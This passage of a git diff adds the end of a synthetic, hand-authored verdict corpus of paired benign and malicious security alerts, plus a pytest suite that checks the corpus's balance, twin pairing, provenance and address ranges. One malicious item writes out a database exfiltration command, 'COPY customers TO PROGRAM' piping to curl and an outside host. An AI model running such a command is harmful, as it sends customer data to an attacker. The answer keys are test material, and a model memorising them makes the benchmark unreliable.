"network-periodic-outbound-beacon",+ "title": "Regular outbound connections with low variance",+ "severity": "medium",+ "expected_techniques": ["T1071.001"],+ "decisive_evidence": "The destination presents a self-signed certificate, it was first seen two days ago, the source process is a temporary binary, and the traffic only occurs outside working hours.",+ "evidence": {+ "destinationIp": "203.0.113.164",+ "destinationOwner": "no registration, address first seen 2 days ago",+ "intervalSeconds": "300, jitter +/- 18s",+ "certificate": "self-signed, subject fields empty",+ "selfSigned": true,+ "sourceProcess": "unsigned binary in the user temp directory",+ "bytesPerConnection": "varies 400 B to 90 kB",+ "timeOfDayPattern": "19:00 to 06:00 only",+ "destinationFirstSeenDays": 2+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-NET-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-PROXY-01-B",+ "pair_id": "VRD-PROXY-01",+ "twin_of": "VRD-PROXY-01-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "network",+ "vendor": "zscaler",+ "rule_id": "network-large-outbound-upload",+ "title": "Very large upload to an external destination",+ "severity": "high",+ "expected_techniques": ["T1567.002"],+ "benign_archetype": "backup_job",+ "decisive_evidence": "The destination tenant identifier is the organisation's own sanctioned storage tenant, the uploader is the backup administrator, and the same volume moves on the same schedule every week.",+ "evidence": {+ "uploadBytes": 15032385536,+ "durationMinutes": 52,+ "destinationCategory": "sanctioned cloud storage",+ "destinationTenantId": "the organisation's own tenant",+ "destinationDomainAgeDays": 5100,+ "user": "[email protected]",+ "userUnderNotice": false,+ "schedule": "weekly offsite copy, 41 prior runs at this size",+ "fileTypes": "backup archive segments"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-PROXY-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-PROXY-01-M",+ "pair_id": "VRD-PROXY-01",+ "twin_of": "VRD-PROXY-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "network",+ "vendor": "zscaler",+ "rule_id": "network-large-outbound-upload",+ "title": "Very large upload to an external destination",+ "severity": "high",+ "expected_techniques": ["T1567.002"],+ "decisive_evidence": "The destination is a file-sharing domain registered nine days ago with no tenant relationship, the uploader is under notice, and the content is source archives rather than backup segments.",+ "evidence": {+ "uploadBytes": 15032385536,+ "durationMinutes": 40,+ "destinationCategory": "uncategorised file sharing",+ "destinationTenantId": null,+ "destinationDomainAgeDays": 9,+ "user": "[email protected]",+ "userUnderNotice": true,+ "schedule": "no prior upload over 50 MB from this account",+ "fileTypes": "source archives and a customer database export"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-PROXY-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-MAIL-01-B",+ "pair_id": "VRD-MAIL-01",+ "twin_of": "VRD-MAIL-01-M",+ "expected_disposition": "false_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "email",+ "vendor": "email_security",+ "rule_id": "email-credential-harvest-link",+ "title": "Message carrying a credential-harvesting link delivered",+ "severity": "high",+ "expected_techniques": ["T1566.002"],+ "benign_archetype": "scanner_or_security_tooling",+ "decisive_evidence": "The message is from the organisation's own awareness platform: it carries the platform's simulation header, is signed by its sending domain and the campaign is recorded in the training schedule.",+ "evidence": {+ "senderDomain": "awareness.example.com",+ "senderDomainAgeDays": 1600,+ "dmarcResult": "pass",+ "simulationHeader": "X-Phish-Simulation: campaign Q4-2026-W2",+ "campaignRecordedInTrainingSchedule": true,+ "linkDestination": "https://training.example.com/awareness/landing",+ "replyToProvider": "same domain as sender",+ "recipientCount": 1200,+ "credentialsSubmitted": 0+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-MAIL-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-MAIL-01-M",+ "pair_id": "VRD-MAIL-01",+ "twin_of": "VRD-MAIL-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "email",+ "vendor": "email_security",+ "rule_id": "email-credential-harvest-link",+ "title": "Message carrying a credential-harvesting link delivered",+ "severity": "high",+ "expected_techniques": ["T1566.002"],+ "decisive_evidence": "The sending domain places the organisation's own name in a left-hand label of a registration it does not control, it is four days old, DMARC fails, the reply-to is a free mail provider, and nine recipients submitted credentials to the landing page.",+ "evidence": {+ "senderDomain": "example.com.secure-mail.test",+ "senderDomainAgeDays": 4,+ "dmarcResult": "fail",+ "simulationHeader": null,+ "campaignRecordedInTrainingSchedule": false,+ "linkDestination": "https://example.com.secure-mail.test/sso/login",+ "replyToProvider": "free mail provider, unrelated to the sender domain",+ "recipientCount": 1200,+ "credentialsSubmitted": 9+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-MAIL-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-VPN-01-B",+ "pair_id": "VRD-VPN-01",+ "twin_of": "VRD-VPN-01-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "network",+ "vendor": "fortinet_vpn",+ "rule_id": "network-vpn-login-from-new-geography",+ "title": "VPN logins from a geography not seen before",+ "severity": "medium",+ "expected_techniques": ["T1133"],+ "benign_archetype": "travel_sign_in",+ "decisive_evidence": "Every session presents a certificate already enrolled to a compliant managed device, and the surge matches a declared office relocation recorded in the facilities calendar.",+ "evidence": {+ "sessionCount": 64,+ "newGeography": "region F",+ "deviceCertificates": "64 of 64 enrolled before the surge",+ "deviceCompliance": "64 of 64 compliant",+ "mfaSatisfied": "64 of 64",+ "businessContext": "declared office relocation week, recorded in the facilities calendar",+ "postLoginActivity": "the applications each user normally uses",+ "internalScanning": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-VPN-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-VPN-01-M",+ "pair_id": "VRD-VPN-01",+ "twin_of": "VRD-VPN-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "network",+ "vendor": "fortinet_vpn",+ "rule_id": "network-vpn-login-from-new-geography",+ "title": "VPN logins from a geography not seen before",+ "severity": "medium",+ "expected_techniques": ["T1133"],+ "decisive_evidence": "A single session on an account exempted from MFA, with no device certificate, immediately swept the internal remote-desktop range. The post-login behaviour is reconnaissance, not work.",+ "evidence": {+ "sessionCount": 1,+ "newGeography": "region G, 203.0.113.96",+ "deviceCertificates": "none presented",+ "deviceCompliance": "unmanaged",+ "mfaSatisfied": "no, account carries a legacy MFA exemption",+ "businessContext": "no travel record, no relocation",+ "postLoginActivity": "1024 TCP/3389 connection attempts across 10.20.0.0/16 in 4 minutes",+ "internalScanning": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-VPN-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-DB-01-B",+ "pair_id": "VRD-DB-01",+ "twin_of": "VRD-DB-01-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "database",+ "vendor": "postgres_audit",+ "rule_id": "database-bulk-table-read",+ "title": "Whole customer table read in one statement",+ "severity": "high",+ "expected_techniques": ["T1213.002"],+ "benign_archetype": "backup_job",+ "decisive_evidence": "The read came from the reporting role against the read replica, on the same nightly schedule and the same query plan as every previous run, and the result went to the warehouse loader rather than to a client.",+ "evidence": {+ "statement": "SELECT ... FROM customers",+ "rowsRead": 4100000,+ "role": "reporting_ro",+ "target": "read replica",+ "schedule": "nightly 02:10, 180 prior runs",+ "queryPlanMatchesBaseline": true,+ "destination": "warehouse loader on the internal network",+ "precedingErrorRate": "no failed statements in the preceding hour",+ "copyToProgramUsed": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-DB-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-DB-01-M",+ "pair_id": "VRD-DB-01",+ "twin_of": "VRD-DB-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "database",+ "vendor": "postgres_audit",+ "rule_id": "database-bulk-table-read",+ "title": "Whole customer table read in one statement",+ "severity": "high",+ "expected_techniques": ["T1213.002"],+ "decisive_evidence": "The application role ran COPY ... TO PROGRAM on the primary, which executes a shell command, and it was preceded by ninety syntax errors consistent with an injection probe.",+ "evidence": {+ "statement": "COPY customers TO PROGRAM 'curl -T - http://203.0.113.74/x'",+ "rowsRead": 4100000,+ "role": "app_rw",+ "target": "primary",+ "schedule": "02:14, no prior bulk read from this role",+ "queryPlanMatchesBaseline": false,+ "destination": "external address over HTTP",+ "precedingErrorRate": "90 syntax errors in the preceding 6 minutes from the same session",+ "copyToProgramUsed": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-DB-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ }+ ]+}diff --git a/services/agents/tests/test_verdict_corpus.py b/services/agents/tests/test_verdict_corpus.pynew file mode 100644index 000000000..58ef59883--- /dev/null+++ b/services/agents/tests/test_verdict_corpus.py@@ -0,0 +1,255 @@+"""The verdict corpus measures judgement, and the all-malicious ones still do not.++Depth plan 1.1.++`scripts/check_verdict_corpus.py` asserts the corpus's *structure*. This+suite asserts what that structure buys: that the scorer accepts this corpus,+that no constant answer scores well on it, and that accepting it changed+nothing about the two corpora the scorer is right to refuse.++The last of those is the one worth stating. `synthetic_incidents.json` and+`adversary_incidents.json` are 200 attacks each with no `expected_disposition`+at all, and `score_replay_set.assert_gradeable` refuses both. That refusal is+a feature, and the easiest way to break it would be to make the guard more+permissive so a new corpus slides past. So the new corpus is required to pass+*and* the old ones are required to keep failing, in one file, where loosening+the guard to fix the first breaks the second.+"""++from __future__ import annotations++import json+import sys+from collections import Counter+from pathlib import Path+from typing import Any++import pytest++ROOT = Path(__file__).resolve().parents[3]+sys.path.insert(0, str(ROOT / "scripts"))+sys.path.insert(0, str(ROOT / "packages" / "aisoc-benchmark"))++from aisoc_benchmark.replay import ( # noqa: E402+ GRADED_DISPOSITIONS,+ MALICIOUS,+ MIN_MALICIOUS_FOR_HEADLINE,+ score_replay,+)+from score_replay_set import CorpusNotGradeable, assert_gradeable, grade # noqa: E402++CORPUS = ROOT / "services" / "agents" / "tests" / "eval_data" / "verdict" / "verdict_corpus_v1.json"++#: The plan's bar. No class above this, so a constant answer cannot beat it.+MAX_CLASS_SHARE = 0.60+++def _corpus() -> dict[str, Any]:+ return json.loads(CORPUS.read_text(encoding="utf-8"))+++def _items() -> list[dict[str, Any]]:+ items = _corpus()["decisions"]+ assert items, "the corpus is empty — this suite would prove nothing"+ return items+++def _grade(verdict_for) -> dict[str, Any]:+ return score_replay([{**item, "verdict": verdict_for(item)} for item in _items()]).as_dict()+++class TestTheScorerAcceptsIt:+ def test_assert_gradeable_does_not_raise(self) -> None:+ """The plan's acceptance criterion, in one line."""+ assert_gradeable(_items()) # does not raise, which is the assertion++ def test_the_file_is_shaped_so_the_runner_reads_it_directly(self) -> None:+ """`score_replay_set.py --decisions <file>` takes a list, or a dict+ under `decisions`. Shipping the second means the corpus can carry its+ own provenance header without a conversion step nobody would run."""+ doc = _corpus()+ assert isinstance(doc, dict)+ assert isinstance(doc["decisions"], list)++ def test_it_grades_end_to_end_through_the_published_entry_point(self) -> None:+ report = grade(_items(), model="none-no-agent-run", dataset="aisoc-verdict-v1", commit="test", synthetic=True)+ assert report["synthetic"] is True+ assert "Synthetic corpus" in report["provenance"]+ assert report["score"]["labelled"] == len(_items())++ def test_every_row_is_labelled_so_none_is_silently_skipped(self) -> None:+ """`score_replay` grades only rows carrying `labelled`. A corpus of+ 72 rows where 70 lack it reports on two and looks like it worked."""+ assert all(item.get("labelled") is True for item in _items())++ def test_every_label_is_in_the_canonical_vocabulary(self) -> None:+ for item in _items():+ assert item["expected_disposition"] in GRADED_DISPOSITIONS, (+ f"{item['id']} is labelled {item['expected_disposition']!r}, which score_replay cannot grade"+ )+++class TestNoConstantAnswerScoresWell:+ """The property the whole item exists for."""++ @pytest.mark.parametrize("label", GRADED_DISPOSITIONS)+ def test_answering_one_class_to_everything_stays_under_the_ceiling(self, label: str) -> None:+ score = _grade(lambda item, chosen=label: chosen)+ assert score["headline_accuracy"] <= MAX_CLASS_SHARE, (+ f"answering {label!r} to everything scores {score['headline_accuracy']:.1%}, over the {MAX_CLASS_SHARE:.0%} the plan allows"+ )++ def test_the_best_constant_answer_is_the_malicious_one_at_fifty_percent(self) -> None:+ """Named rather than left as an inequality, so a corpus edit that+ moves it shows up as a changed number instead of a still-true bound."""+ score = _grade(lambda item: MALICIOUS)+ assert score["headline_accuracy"] == pytest.approx(0.500, abs=0.001)+ assert score["malicious_recall"] == 1.0, "it still catches everything, trivially"+ assert score["malicious_precision"] == pytest.approx(0.500, abs=0.001), "and the precision is what exposes it"++ def test_answering_benign_to_everything_scores_badly(self) -> None:+ """A corpus that only punished one failure mode would be half a corpus."""+ score = _grade(lambda item: "benign")+ assert score["headline_accuracy"] == pytest.approx(0.250, abs=0.001)+ assert score["malicious_recall"] == 0.0++ def test_a_perfect_agent_scores_perfectly(self) -> None:+ """The negative control for every assertion above: without it, a+ corpus nobody can score would satisfy them all."""+ score = _grade(lambda item: item["expected_disposition"])+ assert score["headline_accuracy"] == 1.0+ assert score["malicious_recall"] == 1.0+ assert score["malicious_precision"] == 1.0++ def test_the_corpus_is_thick_enough_for_a_headline(self) -> None:+ """Below 30 malicious cases the report withholds headline accuracy,+ and a corpus that can never print one is a corpus nobody will use."""+ score = _grade(lambda item: item["expected_disposition"])+ assert score["malicious_support"] >= MIN_MALICIOUS_FOR_HEADLINE+ assert score["headline_withheld_reason"] is None+ assert score["headline_accuracy"] is not None+++class TestTheOldCorporaAreStillRefused:+ """Accepting a new corpus must not have loosened the guard."""++ @pytest.mark.parametrize("name", ["synthetic_incidents", "adversary_incidents"])+ def test_the_all_malicious_corpora_still_cannot_be_graded(self, name: str) -> None:+ path = ROOT / "services" / "agents" / "tests" / "eval_data" / f"{name}.json"+ raw = json.loads(path.read_text(encoding="utf-8"))+ items = raw if isinstance(raw, list) else next((v for v in raw.values() if isinstance(v, list)), [])+ decisions = [{"expected_disposition": i.get("expected_disposition"), "verdict": MALICIOUS} for i in items if isinstance(i, dict)]+ with pytest.raises(CorpusNotGradeable):+ assert_gradeable(decisions)+++class TestTheBenignHalfIsWhatARealQueueHolds:+ def test_each_non_malicious_item_has_a_malicious_twin(self) -> None:+ """The plan's wording: a benign item has a malicious twin that+ differs in the decisive evidence."""+ by_id = {item["id"]: item for item in _items()}+ for item in _items():+ if item["expected_disposition"] == MALICIOUS:+ continue+ twin = by_id[item["twin_of"]]+ assert twin["expected_disposition"] == MALICIOUS+ assert twin["twin_of"] == item["id"]+ assert twin["evidence"] != item["evidence"]++ def test_a_twin_pair_cannot_be_separated_without_reading_the_evidence(self) -> None:+ """Same rule, same vendor, same severity, same title. Everything the+ detection decided is held constant so only the facts can separate them."""+ by_id = {item["id"]: item for item in _items()}+ for item in _items():+ twin = by_id[item["twin_of"]]+ for field in ("rule_id", "vendor", "family", "severity", "title"):+ assert item[field] == twin[field], f"{item['id']} differs from its twin in {field}"++ def test_severity_alone_separates_nothing(self) -> None:+ """A corpus whose attacks are critical and whose noise is low is+ separable on one integer, and measures nothing about judgement."""+ malicious = Counter(i["severity"] for i in _items() if i["expected_disposition"] == MALICIOUS)+ other = Counter(i["severity"] for i in _items() if i["expected_disposition"] != MALICIOUS)+ assert malicious == other+ assert len(malicious) >= 3+ assert "critical" in malicious++ def test_the_benign_shapes_real_queues_are_full_of_are_present(self) -> None:+ present = {i.get("benign_archetype") for i in _items() if i["expected_disposition"] != MALICIOUS}+ for archetype in (+ "admin_bulk_change",+ "scanner_or_security_tooling",+ "ci_service_account",+ "travel_sign_in",+ "break_glass_with_ticket",+ "backup_job",+ ):+ assert archetype in present+++class TestWhereTheItemsComeFrom:+ def test_at_least_half_are_cloud_identity_or_saas(self) -> None:+ items = _items()+ in_scope = [i for i in items if i["family"] in ("cloud", "identity", "saas")]+ assert len(in_scope) / len(items) >= 0.50++ def test_all_ten_named_sources_appear(self) -> None:+ vendors = {i["vendor"] for i in _items()}+ for vendor in (+ "aws_cloudtrail",+ "gcp_audit",+ "azure_activity",+ "entra_id",+ "okta",+ "google_workspace",+ "m365",+ "github",+ "slack",+ "kubernetes_audit",+ ):+ assert vendor in vendors+++class TestItSaysWhatItIs:+ def test_every_item_is_marked_synthetic_and_the_header_agrees(self) -> None:+ """Version 1 is entirely hand-authored. The binding rule is not that+ it must be sourced, it is that it must never imply it was."""+ doc = _corpus()+ items = doc["decisions"]+ assert all(item["is_synthetic"] is True for item in items)+ assert doc["synthetic_items"] == len(items)+ assert doc["sourced_items"] == 0+ assert doc["sourced_datasets"] == []++ def test_every_item_carries_provenance_with_a_licence(self) -> None:+ for item in _items():+ provenance = item["provenance"]+ assert provenance["source"] == "hand-authored"+ assert provenance["license"]+ assert provenance["license_url"]++ def test_the_answer_is_declared_as_held_out_from_the_model(self) -> None:+ """`decisive_evidence` states the verdict. A harness that passed it+ to the agent would measure reading comprehension of the answer key."""+ held_out = _corpus()["held_out_from_the_model"]+ assert "decisive_evidence" in held_out+ assert "expected_disposition" in held_out++ def test_no_routable_address_ships_in_the_corpus(self) -> None:+ """RFC 5737 documentation ranges only. A corpus carrying a real+ address eventually gets somebody scanned."""+ import re++ text = CORPUS.read_text(encoding="utf-8")+ for octets in re.findall(r"\b(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.\d{1,3}\b", text):+ a, b, c = (int(x) for x in octets)+ documentation = (+ (a, b, c) in {(192, 0, 2), (198, 51, 100), (203, 0, 113)}+ or a in (0, 10, 127)+ or (a == 192 and b == 168)+ or (a == 172 and 16 <= b <= 31)+ or a >= 224+ or (a, b) == (169, 254)+ or (a, b) == (198, 18)+ )+ assert documentation, f"{a}.{b}.{c}.x is outside the documentation and private ranges"